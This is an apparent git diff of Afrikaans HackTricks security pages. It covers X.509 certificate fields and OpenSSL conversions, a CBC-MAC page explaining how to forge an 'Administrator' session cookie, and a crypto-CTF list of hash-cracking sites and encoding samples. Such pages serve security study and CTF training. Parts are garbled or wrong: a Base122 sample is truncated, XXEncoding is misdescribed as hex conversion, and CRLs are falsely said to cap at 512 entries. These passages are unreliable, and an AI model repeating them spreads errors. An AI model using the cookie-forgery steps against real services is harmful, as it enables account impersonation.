* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik te bou en **werkstrome outomatiseer** wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\
|
||||
Kry Vandag Toegang:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
## Wat is 'n Sertifikaat
|
||||
|
||||
'n **Openbare sleutel sertifikaat** is 'n digitale ID wat in kriptografie gebruik word om te bewys dat iemand 'n openbare sleutel besit. Dit sluit die sleutel se besonderhede, die eienaar se identiteit (die onderwerp), en 'n digitale handtekening van 'n vertroude gesag (die uitreiker) in. As die sagteware die uitreiker vertrou en die handtekening geldig is, is veilige kommunikasie met die sleuteleienaar moontlik.
|
||||
|
||||
Sertifikate word meestal uitgereik deur [sertifikaatowerhede](https://en.wikipedia.org/wiki/Certificate\_authority) (CA's) in 'n [openbare sleutelinfrastruktuur](https://en.wikipedia.org/wiki/Public-key\_infrastructure) (PKI) opstelling. 'n Ander metode is die [web van vertroue](https://en.wikipedia.org/wiki/Web\_of\_trust), waar gebruikers direk mekaar se sleutels verifieer. Die algemene formaat vir sertifikate is [X.509](https://en.wikipedia.org/wiki/X.509), wat aangepas kan word vir spesifieke behoeftes soos uiteengesit in RFC 5280.
|
||||
|
||||
## x509 Algemene Velde
|
||||
|
||||
### **Algemene Velde in x509 Sertifikate**
|
||||
|
||||
In x509 sertifikate speel verskeie **velde** kritieke rolle om die sertifikaat se geldigheid en veiligheid te verseker. Hier is 'n uiteensetting van hierdie velde:
|
||||
|
||||
* Die **Weergawe Nommer** dui die weergawe van die x509-formaat aan.
|
||||
* Die **Serienommer** identifiseer die sertifikaat uniek binne 'n Sertifikaatowerheid se (CA) stelsel, hoofsaaklik vir herroepingopsporing.
|
||||
* Die **Onderwerp** veld verteenwoordig die sertifikaat se eienaar, wat 'n masjien, 'n individu, of 'n organisasie kan wees. Dit sluit gedetailleerde identifikasie in soos:
|
||||
* **Gemeenskaplike Naam (CN)**: Domeine wat deur die sertifikaat gedek word.
|
||||
* **Land (C)**, **Lokaliteit (L)**, **Staat of Provinsie (ST, S, of P)**, **Organisasie (O)**, en **Organisasie-eenheid (OU)** verskaf geografiese en organisatoriese besonderhede.
|
||||
* **Onderskeidingsnaam (DN)** omvat die volledige onderwerpidentifikasie.
|
||||
* **Uitreiker** besonderhede van wie die sertifikaat geverifieer en onderteken het, insluitend soortgelyke subvelde as die Onderwerp vir die CA.
|
||||
* **Geldigheidsperiode** word gemerk deur **Nie Voor Nie** en **Nie Na Nie** tydstempels, wat verseker dat die sertifikaat nie voor of na 'n sekere datum gebruik word nie.
|
||||
* Die **Openbare Sleutel** afdeling, krities vir die sertifikaat se veiligheid, spesifiseer die algoritme, grootte, en ander tegniese besonderhede van die openbare sleutel.
|
||||
* **x509v3-uitbreidings** verbeter die sertifikaat se funksionaliteit, spesifiseer **Sleutelgebruik**, **Uitgebreide Sleutelgebruik**, **Onderwerp Alternatiewe Naam**, en ander eienskappe om die sertifikaat se toepassing fynaf te stem.
|
||||
|
||||
#### **Sleutelgebruik en Uitbreidings**
|
||||
|
||||
* **Sleutelgebruik** identifiseer kriptografiese toepassings van die openbare sleutel, soos digitale handtekening of sleutelversleuteling.
|
||||
* **Uitgebreide Sleutelgebruik** versmalle verder die sertifikaat se gebruike, bv. vir TLS-bedienerverifikasie.
|
||||
* **Onderwerp Alternatiewe Naam** en **Basiese Beperking** definieer addisionele gasheernaam wat deur die sertifikaat gedek word en of dit 'n CA- of eindentiteitsertifikaat is, onderskeidelik.
|
||||
* Identifiseerders soos **Onderwerp Sleutelidentifiseerder** en **Uitreiker Sleutelidentifiseerder** verseker uniekheid en naspeurbaarheid van sleutels.
|
||||
* **Uitreikerinligtings Toegang** en **CRL Verspreidingspunte** bied paaie om die uitreikende CA te verifieer en sertifikaatherroepingsstatus te kontroleer.
|
||||
* **CT Voor-sertifikaat SCT's** bied deursigtigheidslêers, krities vir openbare vertroue in die sertifikaat.
|
||||
```python
|
||||
# Example of accessing and using x509 certificate fields programmatically:
|
||||
from cryptography import x509
|
||||
from cryptography.hazmat.backends import default_backend
|
||||
|
||||
# Load an x509 certificate (assuming cert.pem is a certificate file)
|
||||
with open("cert.pem", "rb") as file:
|
||||
cert_data = file.read()
|
||||
certificate = x509.load_pem_x509_certificate(cert_data, default_backend())
|
||||
|
||||
# Accessing fields
|
||||
serial_number = certificate.serial_number
|
||||
issuer = certificate.issuer
|
||||
subject = certificate.subject
|
||||
public_key = certificate.public_key()
|
||||
|
||||
print(f"Serial Number: {serial_number}")
|
||||
print(f"Issuer: {issuer}")
|
||||
print(f"Subject: {subject}")
|
||||
print(f"Public Key: {public_key}")
|
||||
```
|
||||
### **Verskil tussen OCSP en CRL Verspreidingspunte**
|
||||
|
||||
**OCSP** (**RFC 2560**) behels 'n kliënt en 'n reageerder wat saamwerk om te kontroleer of 'n digitale openbare sleutel sertifikaat herroep is, sonder om die volle **CRL** af te laai. Hierdie metode is meer doeltreffend as die tradisionele **CRL**, wat 'n lys van herroepingsertifikaat serienommers verskaf, maar vereis die aflaai van 'n moontlik groot lêer. CRL's kan tot 512 inskrywings insluit. Meer besonderhede is beskikbaar [hier](https://www.arubanetworks.com/techdocs/ArubaOS%206\_3\_1\_Web\_Help/Content/ArubaFrameStyles/CertRevocation/About\_OCSP\_and\_CRL.htm).
|
||||
|
||||
### **Wat is Sertifikaat Deursigtigheid**
|
||||
|
||||
Sertifikaat Deursigtigheid help om sertifikaat-verwante bedreigings te beveg deur te verseker dat die uitreiking en bestaan van SSL-sertifikate sigbaar is vir domein-eienaars, CA's, en gebruikers. Die doelstellings is:
|
||||
|
||||
* Voorkoming dat CA's SSL-sertifikate vir 'n domein uitreik sonder die domein-eienaar se kennis.
|
||||
* Daarstel van 'n oop ouditeringstelsel vir die opsporing van per abuis of booswillig uitgereikte sertifikate.
|
||||
* Beskerming van gebruikers teen valse sertifikate.
|
||||
|
||||
#### **Sertifikaat Logboeke**
|
||||
|
||||
Sertifikaat logboeke is openlik ouditeerbare, net-byvoegbare rekords van sertifikate, onderhou deur netwerkdienste. Hierdie logboeke verskaf kriptografiese bewyse vir ouditeringsdoeleindes. Uitreikingsowerhede en die publiek kan sertifikate na hierdie logboeke indien of navraag daaroor doen vir verifikasie. Alhoewel die presiese aantal logbedieners nie vas is nie, word verwag dat dit wêreldwyd minder as 'n duisend sal wees. Hierdie bedieners kan onafhanklik bestuur word deur CA's, ISP's, of enige belanghebbende entiteit.
|
||||
|
||||
#### **Navraag**
|
||||
|
||||
Om Sertifikaat Deursigtigheid logboeke vir enige domein te ondersoek, besoek [https://crt.sh/](https://crt.sh).
|
||||
|
||||
Verskillende formate bestaan vir die stoor van sertifikate, elk met sy eie gebruike en verenigbaarheid. Hierdie opsomming dek die hoof formate en bied leiding oor die omskakeling tussen hulle.
|
||||
|
||||
## **Formate**
|
||||
|
||||
### **PEM Formaat**
|
||||
|
||||
* Mees algemeen gebruikte formaat vir sertifikate.
|
||||
* Vereis aparte lêers vir sertifikate en privaatsleutels, gekodeer in Base64 ASCII.
|
||||
* Gewone uitbreidings: .cer, .crt, .pem, .key.
|
||||
* Primêr gebruik deur Apache en soortgelyke bedieners.
|
||||
|
||||
### **DER Formaat**
|
||||
|
||||
* 'n Binêre formaat van sertifikate.
|
||||
* Ontbreek die "BEGIN/END SERTIFIKAAT" verklarings wat in PEM lêers gevind word.
|
||||
* Gewone uitbreidings: .cer, .der.
|
||||
* Dikwels gebruik met Java platforms.
|
||||
|
||||
### **P7B/PKCS#7 Formaat**
|
||||
|
||||
* Gestoor in Base64 ASCII, met uitbreidings .p7b of .p7c.
|
||||
* Bevat slegs sertifikate en kettingsertifikate, met uitsluiting van die privaatsleutel.
|
||||
* Ondersteun deur Microsoft Windows en Java Tomcat.
|
||||
|
||||
### **PFX/P12/PKCS#12 Formaat**
|
||||
|
||||
* 'n Binêre formaat wat bedienersertifikate, intermediêre sertifikate, en privaatsleutels in een lêer inkapsuleer.
|
||||
* Uitbreidings: .pfx, .p12.
|
||||
* Hoofsaaklik gebruik op Windows vir sertifikaat invoer en uitvoer.
|
||||
|
||||
### **Omskakeling van Formate**
|
||||
|
||||
**PEM omskakelings** is noodsaaklik vir verenigbaarheid:
|
||||
|
||||
* **x509 na PEM**
|
||||
```bash
|
||||
openssl x509 -in certificatename.cer -outform PEM -out certificatename.pem
|
||||
```
|
||||
* **PEM na DER**
|
||||
```bash
|
||||
openssl x509 -outform der -in certificatename.pem -out certificatename.der
|
||||
```
|
||||
* **DER na PEM**
|
||||
```bash
|
||||
openssl x509 -inform der -in certificatename.der -out certificatename.pem
|
||||
```
|
||||
* **PEM na P7B**
|
||||
```bash
|
||||
openssl crl2pkcs7 -nocrl -certfile certificatename.pem -out certificatename.p7b -certfile CACert.cer
|
||||
```
|
||||
* **PKCS7 na PEM**
|
||||
```bash
|
||||
openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.pem
|
||||
```
|
||||
**PFX-omskakelings** is noodsaaklik vir die bestuur van sertifikate op Windows:
|
||||
|
||||
* **PFX na PEM**
|
||||
```bash
|
||||
openssl pkcs12 -in certificatename.pfx -out certificatename.pem
|
||||
```
|
||||
* **PFX na PKCS#8** behels twee stappe:
|
||||
1. Omskep PFX na PEM
|
||||
```bash
|
||||
openssl pkcs12 -in certificatename.pfx -nocerts -nodes -out certificatename.pem
|
||||
```
|
||||
2. Omskep PEM na PKCS8
|
||||
```bash
|
||||
openSSL pkcs8 -in certificatename.pem -topk8 -nocrypt -out certificatename.pk8
|
||||
```
|
||||
* **P7B na PFX** vereis ook twee bevele:
|
||||
1. Omskep P7B na CER
|
||||
```bash
|
||||
openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.cer
|
||||
```
|
||||
2. Omskep CER en Privaatsleutel na PFX
|
||||
```bash
|
||||
openssl pkcs12 -export -in certificatename.cer -inkey privateKey.key -out certificatename.pfx -certfile cacert.cer
|
||||
```
|
||||
***
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik en **outomatiseer werkstrome** te bou wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapsinstrumente.\
|
||||
Kry Toegang Vandag:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
</details>
|
81
crypto-and-stego/cipher-block-chaining-cbc-mac-priv.md
Normal file
81
crypto-and-stego/cipher-block-chaining-cbc-mac-priv.md
Normal file
|
@ -0,0 +1,81 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
# CBC
|
||||
|
||||
As die **koekie** **slegs** die **gebruikersnaam** is (of die eerste deel van die koekie is die gebruikersnaam) en jy wil die gebruikersnaam "**admin**" naboots. Dan kan jy die gebruikersnaam **"bdmin"** skep en die **eerste byte** van die koekie **brute force**.
|
||||
|
||||
# CBC-MAC
|
||||
|
||||
**Cipher block chaining message authentication code** (**CBC-MAC**) is 'n metode wat in kriptografie gebruik word. Dit werk deur 'n boodskap blok vir blok te versleutel, waar elke blok se versleuteling gekoppel is aan die een voor dit. Hierdie proses skep 'n **ketting van blokke**, wat verseker dat selfs 'n enkele bit van die oorspronklike boodskap 'n onvoorspelbare verandering in die laaste blok van versleutelde data sal veroorsaak. Om so 'n verandering te maak of ongedaan te maak, is die versleutelingssleutel nodig, wat sekuriteit verseker.
|
||||
|
||||
Om die CBC-MAC van 'n boodskap m te bereken, word m in CBC-modus met 'n nul-inisialisasievektor versleutel en die laaste blok behou. Die volgende figuur skets die berekening van die CBC-MAC van 'n boodskap wat uit blokke bestaan![https://wikimedia.org/api/rest\_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5](https://wikimedia.org/api/rest\_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5) deur 'n geheime sleutel k en 'n blokversleuteling E:
|
||||
|
||||
![https://upload.wikimedia.org/wikipedia/commons/thumb/b/bf/CBC-MAC\_structure\_\(en\).svg/570px-CBC-MAC\_structure\_\(en\).svg.png](https://upload.wikimedia.org/wikipedia/commons/thumb/b/bf/CBC-MAC\_structure\_\(en\).svg/570px-CBC-MAC\_structure\_\(en\).svg.png)
|
||||
|
||||
# Kwesbaarheid
|
||||
|
||||
Met CBC-MAC word die **IV wat gebruik word, gewoonlik as 0** gestel.\
|
||||
Dit is 'n probleem omdat 2 bekende boodskappe (`m1` en `m2`) onafhanklik 2 handtekeninge (`s1` en `s2`) sal genereer. So:
|
||||
|
||||
* `E(m1 XOR 0) = s1`
|
||||
* `E(m2 XOR 0) = s2`
|
||||
|
||||
Dan sal 'n boodskap wat bestaan uit m1 en m2 gekombineer (m3) 2 handtekeninge genereer (s31 en s32):
|
||||
|
||||
* `E(m1 XOR 0) = s31 = s1`
|
||||
* `E(m2 XOR s1) = s32`
|
||||
|
||||
**Dit is moontlik om dit te bereken sonder om die versleutelingssleutel te ken.**
|
||||
|
||||
Stel jou voor jy versleutel die naam **Administrator** in blokke van **8 byte**:
|
||||
|
||||
* `Administ`
|
||||
* `rator\00\00\00`
|
||||
|
||||
Jy kan 'n gebruikersnaam skep met die naam **Administ** (m1) en die handtekening (s1) daarvan bekom.\
|
||||
Dan kan jy 'n gebruikersnaam skep met die resultaat van `rator\00\00\00 XOR s1`. Dit sal `E(m2 XOR s1 XOR 0)` genereer, wat s32 is.\
|
||||
Nou kan jy s32 gebruik as die handtekening van die volledige naam **Administrator**.
|
||||
|
||||
### Opsomming
|
||||
|
||||
1. Kry die handtekening van die gebruikersnaam **Administ** (m1), wat s1 is.
|
||||
2. Kry die handtekening van die gebruikersnaam **rator\x00\x00\x00 XOR s1 XOR 0**, wat s32 is.
|
||||
3. Stel die koekie in as s32 en dit sal 'n geldige koekie wees vir die gebruiker **Administrator**.
|
||||
|
||||
# Aanval deur IV te beheer
|
||||
|
||||
As jy die gebruikte IV kan beheer, kan die aanval baie maklik wees.\
|
||||
As die koekies net die versleutelde gebruikersnaam is, kan jy die gebruiker "**administrator**" naboots deur die gebruiker "**Administrator**" te skep en sy koekie te kry.\
|
||||
Nou, as jy die IV kan beheer, kan jy die eerste byte van die IV verander sodat **IV\[0] XOR "A" == IV'\[0] XOR "a"** en die koekie vir die gebruiker **Administrator** hergenereer. Hierdie koekie sal geldig wees om die gebruiker **administrator** met die oorspronklike **IV** na te boots.
|
||||
|
||||
## Verwysings
|
||||
|
||||
Meer inligting in [https://en.wikipedia.org/wiki/CBC-MAC](https://en.wikipedia.org/wiki/CBC-MAC)
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
|
||||
|
||||
</details>
|
302
crypto-and-stego/crypto-ctfs-tricks.md
Normal file
302
crypto-and-stego/crypto-ctfs-tricks.md
Normal file
|
@ -0,0 +1,302 @@
|
|||
# Crypto CTFs Truuks
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
|
||||
|
||||
</details>
|
||||
|
||||
## Aanlyn Hash-databasisse
|
||||
|
||||
* _**Google dit**_
|
||||
* [http://hashtoolkit.com/reverse-hash?hash=4d186321c1a7f0f354b297e8914ab240](http://hashtoolkit.com/reverse-hash?hash=4d186321c1a7f0f354b297e8914ab240)
|
||||
* [https://www.onlinehashcrack.com/](https://www.onlinehashcrack.com)
|
||||
* [https://crackstation.net/](https://crackstation.net)
|
||||
* [https://md5decrypt.net/](https://md5decrypt.net)
|
||||
* [https://www.onlinehashcrack.com](https://www.onlinehashcrack.com)
|
||||
* [https://gpuhash.me/](https://gpuhash.me)
|
||||
* [https://hashes.org/search.php](https://hashes.org/search.php)
|
||||
* [https://www.cmd5.org/](https://www.cmd5.org)
|
||||
* [https://hashkiller.co.uk/Cracker/MD5](https://hashkiller.co.uk/Cracker/MD5)
|
||||
* [https://www.md5online.org/md5-decrypt.html](https://www.md5online.org/md5-decrypt.html)
|
||||
|
||||
## Toveroplossers
|
||||
|
||||
* [**https://github.com/Ciphey/Ciphey**](https://github.com/Ciphey/Ciphey)
|
||||
* [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/) (Magic-module)
|
||||
* [https://github.com/dhondta/python-codext](https://github.com/dhondta/python-codext)
|
||||
* [https://www.boxentriq.com/code-breaking](https://www.boxentriq.com/code-breaking)
|
||||
|
||||
## Enkoders
|
||||
|
||||
Die meeste gekodeerde data kan ontsluit word met hierdie 2 hulpbronne:
|
||||
|
||||
* [https://www.dcode.fr/tools-list](https://www.dcode.fr/tools-list)
|
||||
* [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/)
|
||||
|
||||
### Substitusie Toveroplossers
|
||||
|
||||
* [https://www.boxentriq.com/code-breaking/cryptogram](https://www.boxentriq.com/code-breaking/cryptogram)
|
||||
* [https://quipqiup.com/](https://quipqiup.com) - Baie goed!
|
||||
|
||||
#### Caesar - ROTx Toveroplossers
|
||||
|
||||
* [https://www.nayuki.io/page/automatic-caesar-cipher-breaker-javascript](https://www.nayuki.io/page/automatic-caesar-cipher-breaker-javascript)
|
||||
|
||||
#### Atbash Cipher
|
||||
|
||||
* [http://rumkin.com/tools/cipher/atbash.php](http://rumkin.com/tools/cipher/atbash.php)
|
||||
|
||||
### Basisenkoderings Toveroplossers
|
||||
|
||||
Kyk na al hierdie basisse met: [https://github.com/dhondta/python-codext](https://github.com/dhondta/python-codext)
|
||||
|
||||
* **Ascii85**
|
||||
* `BQ%]q@psCd@rH0l`
|
||||
* **Base26** \[_A-Z_]
|
||||
* `BQEKGAHRJKHQMVZGKUXNT`
|
||||
* **Base32** \[_A-Z2-7=_]
|
||||
* `NBXWYYLDMFZGCY3PNRQQ====`
|
||||
* **Zbase32** \[_ybndrfg8ejkmcpqxot1uwisza345h769_]
|
||||
* `pbzsaamdcf3gna5xptoo====`
|
||||
* **Base32 Geohash** \[_0-9b-hjkmnp-z_]
|
||||
* `e1rqssc3d5t62svgejhh====`
|
||||
* **Base32 Crockford** \[_0-9A-HJKMNP-TV-Z_]
|
||||
* `D1QPRRB3C5S62RVFDHGG====`
|
||||
* **Base32 Extended Hexadecimal** \[_0-9A-V_]
|
||||
* `D1NMOOB3C5P62ORFDHGG====`
|
||||
* **Base45** \[_0-9A-Z $%\*+-./:_]
|
||||
* `59DPVDGPCVKEUPCPVD`
|
||||
* **Base58 (bitcoin)** \[_1-9A-HJ-NP-Za-km-z_]
|
||||
* `2yJiRg5BF9gmsU6AC`
|
||||
* **Base58 (flickr)** \[_1-9a-km-zA-HJ-NP-Z_]
|
||||
* `2YiHqF5bf9FLSt6ac`
|
||||
* **Base58 (ripple)** \[_rpshnaf39wBUDNEGHJKLM4PQ-T7V-Z2b-eCg65jkm8oFqi1tuvAxyz_]
|
||||
* `pyJ5RgnBE9gm17awU`
|
||||
* **Base62** \[_0-9A-Za-z_]
|
||||
* `g2AextRZpBKRBzQ9`
|
||||
* **Base64** \[_A-Za-z0-9+/=_]
|
||||
* `aG9sYWNhcmFjb2xh`
|
||||
* **Base67** \[_A-Za-z0-9-_.!\~\_]
|
||||
* `NI9JKX0cSUdqhr!p`
|
||||
* **Base85 (Ascii85)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_]
|
||||
* `BQ%]q@psCd@rH0l`
|
||||
* **Base85 (Adobe)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_]
|
||||
* `<~BQ%]q@psCd@rH0l~>`
|
||||
* **Base85 (IPv6 or RFC1924)** \[_0-9A-Za-z!#$%&()\*+-;<=>?@^_\`{|}\~\_]
|
||||
* `Xm4y`V\_|Y(V{dF>\`
|
||||
* **Base85 (xbtoa)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_]
|
||||
* `xbtoa Begin\nBQ%]q@psCd@rH0l\nxbtoa End N 12 c E 1a S 4e6 R 6991d`
|
||||
* **Base85 (XML)** \[_0-9A-Za-y!#$()\*+,-./:;=?@^\`{|}\~z\__]
|
||||
* `Xm4y|V{~Y+V}dF?`
|
||||
* **Base91** \[_A-Za-z0-9!#$%&()\*+,./:;<=>?@\[]^\_\`{|}\~"_]
|
||||
* `frDg[*jNN!7&BQM`
|
||||
* **Base100** \[]
|
||||
* `👟👦👣👘👚👘👩👘👚👦👣👘`
|
||||
* **Base122** \[]
|
||||
* `4F
|
||||
* `DmPsv8J7qrlKEoY7`
|
||||
* **MEGAN35** \[_3G-Ub=c-pW-Z/12+406-9Vaq-zA-F5_]
|
||||
* `kLD8iwKsigSalLJ5`
|
||||
* **ZONG22** \[_ZKj9n+yf0wDVX1s/5YbdxSo=ILaUpPBCHg8uvNO4klm6iJGhQ7eFrWczAMEq3RTt2_]
|
||||
* `ayRiIo1gpO+uUc7g`
|
||||
* **ESAB46** \[]
|
||||
* `3sHcL2NR8WrT7mhR`
|
||||
* **MEGAN45** \[]
|
||||
* `kLD8igSXm2KZlwrX`
|
||||
* **TIGO3FX** \[]
|
||||
* `7AP9mIzdmltYmIP9mWXX`
|
||||
* **TRIPO5** \[]
|
||||
* `UE9vSbnBW6psVzxB`
|
||||
* **FERON74** \[]
|
||||
* `PbGkNudxCzaKBm0x`
|
||||
* **GILA7** \[]
|
||||
* `D+nkv8C1qIKMErY1`
|
||||
* **Citrix CTX1** \[]
|
||||
* `MNGIKCAHMOGLKPAKMMGJKNAINPHKLOBLNNHILCBHNOHLLPBK`
|
||||
|
||||
[http://k4.cba.pl/dw/crypo/tools/eng\_atom128c.html](http://k4.cba.pl/dw/crypo/tools/eng\_atom128c.html) - 404 Dood: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng\_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng\_hackerize.html)
|
||||
|
||||
### HackerizeXS \[_╫Λ↻├☰┏_]
|
||||
```
|
||||
╫☐↑Λ↻Λ┏Λ↻☐↑Λ
|
||||
```
|
||||
* [http://k4.cba.pl/dw/crypo/tools/eng\_hackerize.html](http://k4.cba.pl/dw/crypo/tools/eng\_hackerize.html) - 404 Dood: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng\_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng\_hackerize.html)
|
||||
|
||||
### Morse
|
||||
```
|
||||
.... --- .-.. -.-. .- .-. .- -.-. --- .-.. .-
|
||||
```
|
||||
* [http://k4.cba.pl/dw/crypo/tools/af\_morse-encode.html](http://k4.cba.pl/dw/crypo/tools/af\_morse-encode.html) - 404 Dood: [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/)
|
||||
|
||||
### UUencoder
|
||||
```
|
||||
begin 644 webutils_pl
|
||||
M2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(
|
||||
M3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/
|
||||
F3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$$`
|
||||
`
|
||||
end
|
||||
```
|
||||
* [http://www.webutils.pl/index.php?idx=uu](http://www.webutils.pl/index.php?idx=uu)
|
||||
|
||||
### XXKoder
|
||||
|
||||
XXEncoder is a simple encoding technique that converts ASCII characters to their hexadecimal representation. It is commonly used to obfuscate data or bypass certain security measures. To decode the encoded data, you can use an online XXDecoder tool or write a custom script. Keep in mind that XXEncoder is a basic encoding method and may not provide strong security.
|
||||
```
|
||||
begin 644 webutils_pl
|
||||
hG2xAEIVDH236Hol-G2xAEIVDH236Hol-G2xAEIVDH236Hol-G2xAEIVDH236
|
||||
5Hol-G2xAEE++
|
||||
end
|
||||
```
|
||||
* [www.webutils.pl/index.php?idx=xx](https://github.com/carlospolop/hacktricks/tree/bf578e4c5a955b4f6cdbe67eb4a543e16a3f848d/crypto/www.webutils.pl/index.php?idx=xx)
|
||||
|
